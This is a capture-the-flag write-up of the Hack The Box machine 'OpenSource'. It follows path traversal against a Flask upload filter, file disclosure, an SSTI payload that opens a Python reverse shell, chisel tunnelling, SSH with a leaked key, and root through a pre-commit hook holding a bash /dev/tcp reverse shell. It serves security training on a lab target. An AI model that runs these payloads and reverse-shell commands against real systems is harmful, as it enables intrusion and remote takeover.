HTB - OpenSource

2022-09-14InfosecWriteups

  • htb
  • opensource
  • web
  • path-traversal

OpenSource starts as a small Flask application with a file upload feature and a downloadable source bundle. The interesting part is not the upload form itself, but the sanitization logic behind it: a recursive string replacement that looks reasonable until path traversal payloads start bending around it.

This writeup follows the path from source review to file disclosure, then into container escape and privilege escalation.

Enumerating Services

Service State Port Version
ssh open 22 OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
http open 80 Werkzeug/2.1.2 Python/3.10.3
ppp open 3000 Unrecognized Service

Web - Werkzeug

Website features

The website has basically a button to download the source code of the site (1) and another to upload files (2)

Screen Shot 2022-08-17 at 19.58.25.png

Screen Shot 2022-08-17 at 20.03.00.png

Source code analysis

Analyzing the code, we found the following endpoints exposed:

/app/views.py

import os

from app.utils import get_file_name

#...

@app.route('/', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')


@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

And the following functions that perform sanitization

/app/utils.py

#...

def get_file_name(unsafe_filename):
    return recursive_replace(unsafe_filename, "../", "")

#...

def recursive_replace(search, replace_me, with_me):
    if replace_me not in search:
        return search
    return recursive_replace(search.replace(replace_me, with_me), replace_me, with_me)

After putting a long time, we get a Path Traversal if we use the following request:

GET /uploads/..//..//etc/passwd HTTP/1.1
Host: 10.10.11.164
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Wed, 17 Aug 2022 22:51:23 GMT
Content-Disposition: inline; filename=passwd
Content-Type: application/octet-stream
Content-Length: 1172
Last-Modified: Thu, 16 Sep 2021 19:13:31 GMT
Cache-Control: no-cache
ETag: "1631819611.0-1172-430441564"
Date: Wed, 17 Aug 2022 22:51:23 GMT
Connection: close

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin

Finding

We found that in the views.py of the downloaded project (source.zip) we have fewer endpoints exposed. So we tried to make a traversal of app/app/views.py. We observe the following:

...
@app.route('/')
def index():
    return render_template('index.html')


@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))

Recon

Here we list interesting file recon using found LFI

/proc/self/environ

HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Sat, 03 Sep 2022 23:25:26 GMT
Content-Disposition: inline; filename=environ
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Sat, 03 Sep 2022 23:25:26 GMT
Cache-Control: no-cache
ETag: "1662247526.0456357-0-1697908884"
Date: Sat, 03 Sep 2022 23:25:26 GMT
Connection: close

PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin�HOSTNAME=d2955e0d4829�LANG=C.UTF-8�GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D�PYTHON_VERSION=3.10.3�PYTHON_PIP_VERSION=22.0.4�PYTHON_SETUPTOOLS_VERSION=58.1.0�PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/38e54e5de07c66e875c11a1ebbdb938854625dd8/public/get-pip.py�PYTHON_GET_PIP_SHA256=e235c437e5c7d7524fbce3880ca39b917a73dc565e0c813465b7a7a329bb279a�PYTHONDONTWRITEBYTECODE=1�MODE=PRODUCTION�FLASK_DEBUG=1�HOME=/root�SUPERVISOR_ENABLED=1�SUPERVISOR_PROCESS_NAME=flask�SUPERVISOR_GROUP_NAME=flask�WERKZEUG_SERVER_FD=3�WERKZEUG_RUN_MAIN=true

GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D

/proc/version

HTTP/1.1 200 OK
Server: Werkzeug/2.1.2 Python/3.10.3
Date: Sat, 03 Sep 2022 23:25:26 GMT
Content-Disposition: inline; filename=version
Content-Type: application/octet-stream
Content-Length: 0
Last-Modified: Sat, 03 Sep 2022 23:25:26 GMT
Cache-Control: no-cache
ETag: "1662247526.5616357-0-1070270144"
Date: Sat, 03 Sep 2022 23:25:26 GMT
Connection: close

Linux version 4.15.0-176-generic (buildd@lcy02-amd64-020) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #185-Ubuntu SMP Tue Mar 29 17:40:04 UTC 2022

Plan A:

Plan B:


Analyzing GIT Repo

{
  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
  "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
  "http.proxyStrictSSL": false
}

Foothold

FLI + SSTI -> Reverse Shell

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__["__import__"]("os").popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.232",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh", "-i"]);'").read().zfill(417)}}{%endif%}{% endfor %}

We have the reverse shell now we need to pivot.

Pivot

References:


Useful Binaries in Docker

Pivoting

Expose chisel client with python, download with wget

 ~/D/h/source-code  python -m http.server 8077                                   (base)
Serving HTTP on :: port 8077 (http://[::]:8077/) ...
::ffff:10.10.11.164 - - [13/Sep/2022 23:00:03] "GET /chisel_1.7.7_linux_amd64 HTTP/1.1" 200 -

Reverse Proxy

In the HOST

/app # ./chisel_1.7.7_linux_amd64 client 10.10.14.232:8090 R:5555:socks
2022/09/14 02:03:05 client: Connecting to ws://10.10.14.232:8090
2022/09/14 02:03:08 client: Connected (Latency 422.50045ms)

In the victim

 ~/D/h/source-code  chisel server -p 8090 --host 10.10.14.232 --reverse          (base)
2022/09/13 23:01:33 server: Reverse tunnelling enabled
2022/09/13 23:01:33 server: Fingerprint 8POiHfkj5iqGzA0VY4OTirr8lVaI9YYc5jocfVvyEdo=
2022/09/13 23:01:33 server: Listening on http://10.10.14.232:8090
2022/09/13 23:03:08 server: session#1: tun: proxy#R:127.0.0.1:5555=>socks: Listening

Accessing filtered Service - Gitea

We use the credentials from the repo:

There is a repo with hardcoded .ssh credentials

Screen Shot 2022-09-13 at 23.21.26.png

Screen Shot 2022-09-13 at 23.22.14.png

User Flag

$ proxychains4 ssh -i id_rsa dev01@10.10.11.164

Screen Shot 2022-09-13 at 23.42.28.png

Root Flag

Tiramos un linpeas pero sin exito de encontrar algo interesante.

Revisamos procesos con ps aux:

root      8319  0.0  0.0   4636   868 ?        Ss   22:58   0:00 /bin/sh -c /usr/local/bin/git-sync
root      8322  0.0  0.0  11600  3208 ?        S    22:58   0:00 /bin/bash /usr/local/bin/git-sync
root      8331  0.0  0.1  18288  4140 ?        S    22:58   0:00 git commit -m Backup for 2022-09-14
root      8332  0.0  0.0  11600  3192 ?        S    22:58   0:00 /bin/bash .git/hooks/pre-commit
root      8338  0.0  0.0  20188  3840 ?        S    22:58   0:00 bash -i
root      8994  0.0  0.0  57508  3244 ?        S    23:00   0:00 /usr/sbin/CRON -f
root      8998  0.0  0.0   4636   872 ?        Ss   23:00   0:00 /bin/sh -c /usr/local/bin/git-sync
root      9000  0.0  0.0  11600  3216 ?        S    23:00   0:00 /bin/bash /usr/local/bin/git-sync
root      9007  0.0  0.1  18280  4068 ?        S    23:00   0:00 git commit -m Backup for 2022-09-14
root      9013  0.0  0.0  11600  3228 ?        S    23:00   0:00 /bin/bash .git/hooks/pre-commit
root      9014  0.0  0.0  11600   236 ?        S    23:00   0:00 /bin/bash .git/hooks/pre-commit
root      9526  0.0  0.0      0     0 ?        I    23:00   0:00 [kworker/u4:1]
dev01     9632  0.0  0.0  40100  3652 pts/1    R+   23:00   0:00 ps aux
dev01    10474  0.0  0.1  76820  7832 ?        Ss   22:35   0:00 /lib/systemd/systemd --user
dev01    10482  0.0  0.0 193720  2504 ?        S    22:35   0:00 (sd-pam)
root     12696  0.0  0.1 107992  7200 ?        Ss   22:41   0:00 sshd: dev01 [priv]
dev01    12765  0.0  0.0 107992  3456 ?        S    22:41   0:00 sshd: dev01@pts/1
dev01    12767  0.0  0.1  23172  5376 pts/1    Ss   22:41   0:00 -bash
root     13949  0.0  0.0      0     0 ?        I    22:44   0:00 [kworker/1:1]
dev01    17254  0.0  0.0  49804  3840 ?        Ss   22:44   0:00 /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopi
dev01    21667  0.0  0.0  92032  3424 ?        SLs  22:45   0:00 /usr/bin/gpg-agent --supervised

Interesting the git hook running as root.

root      9014  0.0  0.0  11600   236 ?        S    23:00   0:00 /bin/bash .git/hooks/pre-commit

Revisamos el contenido:

dev01@opensource:~$ cat .git/hooks/pre-commit
#!/bin/bash

bash -i >& /dev/tcp/10.10.14.196/6666 0>&1

Kaboom! They put a reverse shell here. We change the script to point to our IP and start the listener.

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.232/6666 0>&1
nc -v -l 6666

And the rest is history.

find / -name "*.txt"
cat /root/root.txt
********************************